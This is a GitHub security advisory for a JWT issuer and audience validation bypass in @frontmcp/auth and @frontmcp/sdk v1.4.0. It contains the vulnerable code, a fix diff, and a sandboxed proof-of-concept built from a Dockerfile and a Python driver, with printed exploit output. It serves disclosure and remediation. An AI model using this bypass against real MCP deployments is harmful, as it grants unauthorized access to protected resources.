Skip to main content
Menu
Advisories

Transparent JWT Issuer and Audience Validation Bypass in @frontmcp/auth and @frontmcp/sdk

GHSA-HVVP-67P3-J379Published Updated GitHub

Description

Transparent JWT Issuer and Audience Validation Bypass in @frontmcp/auth and @frontmcp/sdk

Summary

verifyTransparentToken() in @frontmcp/auth v1.4.0 extracts the iss claim from the unverified JWT payload and appends it to the issuer allowlist passed to jose's jwtVerify. This makes the issuer check a tautology — a token's own claimed issuer is always accepted — allowing any token signed by a configured JWKS key to authenticate regardless of its actual issuer. Additionally, the session:verify flow in @frontmcp/sdk performs no aud claim validation after a successful transparent-mode verification, enabling cross-service token reuse. Both flaws are remotely exploitable by a low-privileged attacker and together allow complete authentication bypass on any MCP/HTTP route protected by transparent auth mode. CVSS v3.1 Base Score: 8.1 (High).

Details

Flaw 1 — Issuer validation bypass (libs/auth/src/jwks/jwks.service.ts:112–118)

verifyTransparentToken() decodes the JWT payload before any cryptographic verification and adds the decoded iss claim to the issuer array supplied to jwtVerify:

// libs/auth/src/jwks/jwks.service.ts:112-118
const draftPayload = decodeJwtPayloadSafe(token);
const JWKS = createLocalJWKSet(jwks);
const { payload, protectedHeader } = await jwtVerify(token, JWKS, {
  issuer: [normalizeIssuer(p.issuerUrl)].concat(
    (draftPayload?.['iss'] ? [draftPayload['iss']] : []) as string[],
  ),
});

Because token.iss is always in the set {configuredIssuer, token.iss}, the issuer constraint is trivially satisfied for any token that passes signature verification. An attacker who holds a JWT signed by the JWKS key (e.g. a legitimate token issued to them by the same IdP for a different service) can set an arbitrary iss value and have it accepted by the victim service.

Flaw 2 — Missing audience validation (libs/sdk/src/auth/flows/session.verify.flow.ts:414–443)

After verifyTransparentToken() returns ok: true, the session:verify flow only checks the scope claim; the aud claim is never validated:

// libs/sdk/src/auth/flows/session.verify.flow.ts:414-443
if (result.ok) {
  this.state.set({ jwtPayload: result.payload });
  // Check required scopes (RFC 6750 §3.1) ...
  ...
  return;
}

This means a legitimate token issued for service A (audience https://service-a.example) is accepted unchanged by service B.

Taint data-flow path:

  1. libs/sdk/src/scope/flows/http.request.flow.ts:209 — HTTP request enters auth gate via scope.runFlow('session:verify', { request }).
  2. libs/sdk/src/auth/flows/session.verify.flow.ts:209 — attacker-controlled Authorization header is read.
  3. libs/sdk/src/auth/flows/session.verify.flow.ts:225 — bearer token extracted.
  4. libs/sdk/src/auth/flows/session.verify.flow.ts:392–403 — transparent-mode branch invokes jwks.verifyTransparentToken().
  5. libs/auth/src/jwks/jwks.service.ts:112–118 — payload iss added to issuer allowlist (sink 1, issuer bypass).
  6. libs/sdk/src/auth/flows/session.verify.flow.ts:414–443 — scope checked, aud ignored (sink 2, audience bypass).
  7. libs/sdk/src/auth/flows/session.verify.flow.ts:492–499 — kind: 'authorized' returned.

Recommended patch:

Remove the draftPayload-derived issuer from the allowlist and enforce audience validation in session:verify:

--- a/libs/auth/src/jwks/jwks.service.ts
+++ b/libs/auth/src/jwks/jwks.service.ts
-        const draftPayload = decodeJwtPayloadSafe(token);
         const JWKS = createLocalJWKSet(jwks);
         const { payload, protectedHeader } = await jwtVerify(token, JWKS, {
-          issuer: [normalizeIssuer(p.issuerUrl)].concat(
-            (draftPayload?.['iss'] ? [draftPayload['iss']] : []) as string[],
-          ),
+          issuer: normalizeIssuer(p.issuerUrl),
         });
--- a/libs/sdk/src/auth/flows/session.verify.flow.ts
+++ b/libs/sdk/src/auth/flows/session.verify.flow.ts
     if (result.ok) {
       this.state.set({ jwtPayload: result.payload });
+      const expectedAudience =
+        (authOptions as Record<string, unknown> | undefined)?.['expectedAudience'] as
+          | string | string[] | undefined
+        ?? deriveExpectedAudience(this.state.required.baseUrl);
+      const audResult = validateAudience(
+        result.payload?.['aud'] as string | string[] | undefined,
+        { expectedAudiences: Array.isArray(expectedAudience) ? expectedAudience : [expectedAudience],
+          allowNoAudience: false },
+      );
+      if (!audResult.valid) {
+        this.respond({ kind: 'unauthorized',
+          prmMetadataHeader: buildInvalidTokenHeader(this.state.required.prmUrl, audResult.error) });
+        return;
+      }

PoC

The vulnerability was reproduced dynamically using a self-contained Docker image (node:24-slim, jose@6, tsx). No external network access was required after the image was built.

Build and run:

# From the repository root
docker build -t frontmcp-vuln001-poc -f vuln-001/Dockerfile \
  reports/npm_web_193_agentfront__frontmcp

docker run --rm --network=none frontmcp-vuln001-poc

Or via the Python driver:

python3 vuln-001/poc.py

What the PoC does:

  1. Generates a fresh RSA-256 key pair in-process.
  2. Mints a JWT with iss: "https://attacker.example" signed with the attacker's private key.
  3. Calls verifyTransparentToken() with the attacker public key registered under issuerUrl: "https://victim.example".
  4. Calls the same function with strict single-issuer verification (no draftPayload injection) as a control.

Observed output:

[EXPLOIT SUCCESS] verifyTransparentToken() returned ok=true
{
  "ok": true,
  "accepted_issuer": "https://attacker.example",
  "accepted_sub": "attacker-user",
  "configured_issuerUrl": "https://victim.example",
  "issuer_actually_matched": false
}
[CONTROL PASS] Strict check correctly rejected the token: unexpected "iss" claim value
[VERDICT] PASS — issuer bypass is real and observable

The exploit path returns ok: true with configured_issuerUrl: "https://victim.example" even though the token's iss is "https://attacker.example". The control path (strict single-issuer check) correctly rejects the same token, confirming the bypass is exclusively caused by the draftPayload['iss'] injection at libs/auth/src/jwks/jwks.service.ts:115–117.

Impact

This is an authentication bypass vulnerability. Any HTTP or MCP route protected by @frontmcp/sdk in transparent auth mode is affected.

Attacker scenario 1 — issuer spoofing: A user who holds a valid JWT signed by any key registered in the target service's JWKS (e.g. a token for a different tenant or service sharing the same IdP/key material) can present it as authentication to the victim MCP server by setting iss to any value. No special infrastructure is required beyond a legitimately obtained JWT.

Attacker scenario 2 — cross-service token reuse: A user with a legitimate token for service A (same IdP, different aud) can replay it against service B without modification, bypassing the audience check that should restrict the token's use.

Both scenarios lead to unauthorized access to all resources and actions exposed by the affected MCP server: Confidentiality: High, Integrity: High.

All deployments using @frontmcp/auth v1.4.0 and @frontmcp/sdk v1.4.0 with auth.mode: "transparent" are affected. This is the documented mode for external IdP integration and is the intended default for such deployments.

Reproduction artifacts

Dockerfile

# VULN-001: Transparent JWT issuer/audience validation bypass
# Targets: libs/auth/src/jwks/jwks.service.ts:112-117
#
# Build context: reports/npm_web_193_agentfront__frontmcp/
# Build command: docker build -t frontmcp-vuln001 -f vuln-001/Dockerfile .

FROM node:24-slim

WORKDIR /exploit

# Create a minimal package.json for the exploit environment
RUN echo '{"name":"vuln001-poc","version":"1.0.0","type":"module"}' > package.json

# Install only the dependency used by the vulnerable code path
RUN npm install jose@6 --save-quiet 2>&1

# Install tsx for on-the-fly TypeScript execution (no build step needed)
RUN npm install tsx --save-dev --save-quiet 2>&1

# Copy the exact utility functions used by JwksService (no external deps)
# Source: repo/libs/auth/src/jwks/jwks.utils.ts
COPY repo/libs/auth/src/jwks/jwks.utils.ts ./jwks.utils.ts

# Copy the exploit runner
COPY vuln-001/poc_runner.ts ./poc_runner.ts

# Run the PoC. tsx loads the TypeScript files without a separate compile step.
CMD ["npx", "tsx", "poc_runner.ts"]

poc.py

#!/usr/bin/env python3
"""
VULN-001 Dynamic Reproduction — Transparent JWT Issuer Validation Bypass
Affected: agentfront/frontmcp @frontmcp/auth v1.4.0

Exploits libs/auth/src/jwks/jwks.service.ts:112-117 where verifyTransparentToken()
adds the attacker-controlled token.iss to the jwtVerify issuer allowlist, making
issuer validation unconditionally pass for any JWKS-signed token.

Usage:
    python3 poc.py

Requirements:
    - Docker installed and accessible
    - Internet access for node:24-slim base image pull (first run only)
"""

import subprocess
import sys
import os
import json

# Paths relative to this script's location
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
# Build context is the parent directory so Docker can access both repo/ and vuln-001/
BUILD_CONTEXT = os.path.abspath(os.path.join(SCRIPT_DIR, '..'))
DOCKERFILE = os.path.join(SCRIPT_DIR, 'Dockerfile')
IMAGE_NAME = 'frontmcp-vuln001-poc'


def banner(msg: str) -> None:
    print(f'\n{"=" * 60}')
    print(f'  {msg}')
    print(f'{"=" * 60}')


def run_cmd(cmd: list[str], capture: bool = True, **kwargs) -> subprocess.CompletedProcess:
    print(f'[+] {" ".join(cmd)}')
    return subprocess.run(cmd, capture_output=capture, text=True, **kwargs)


def main() -> int:
    banner('VULN-001: JWT Issuer Validation Bypass — Dynamic PoC')
    print(f'Build context : {BUILD_CONTEXT}')
    print(f'Dockerfile    : {DOCKERFILE}')
    print(f'Target source : repo/libs/auth/src/jwks/jwks.service.ts:114-117')

    # ------------------------------------------------------------------
    # Step 1: Build the Docker image
    # ------------------------------------------------------------------
    print('\n[*] Building Docker image (this installs jose@6 + tsx)...')
    build = run_cmd([
        'docker', 'build',
        '-t', IMAGE_NAME,
        '-f', DOCKERFILE,
        BUILD_CONTEXT,
    ])

    if build.returncode != 0:
        print('[ERROR] Docker build failed:')
        print(build.stderr[-3000:])
        return 2

    print('[+] Docker build succeeded')

    # ------------------------------------------------------------------
    # Step 2: Run the exploit container (network disabled for safety)
    # ------------------------------------------------------------------
    print('\n[*] Running exploit container (--network=none)...')
    result = run_cmd([
        'docker', 'run',
        '--rm',
        '--network=none',
        IMAGE_NAME,
    ])

    print('\n--- Container stdout ---')
    print(result.stdout)

    if result.stderr:
        print('--- Container stderr ---')
        print(result.stderr)

    # ------------------------------------------------------------------
    # Step 3: Parse and evaluate output
    # ------------------------------------------------------------------
    stdout = result.stdout

    if result.returncode != 0:
        print('\n[RESULT] FAIL — container exited with non-zero status')
        return 1

    exploit_succeeded = '[EXPLOIT SUCCESS]' in stdout
    control_passed = '[CONTROL PASS]' in stdout
    verdict_pass = '[VERDICT] PASS' in stdout

    if exploit_succeeded and control_passed and verdict_pass:
        print('\n[RESULT] PASS — deterministic evidence of issuer bypass obtained')
        return 0
    else:
        print('\n[RESULT] FAIL — expected success markers not found in output')
        print(f'  exploit_succeeded={exploit_succeeded}')
        print(f'  control_passed={control_passed}')
        print(f'  verdict_pass={verdict_pass}')
        return 1


if __name__ == '__main__':
    sys.exit(main())

Affected versions

References

GitHub · agentfront/frontmcp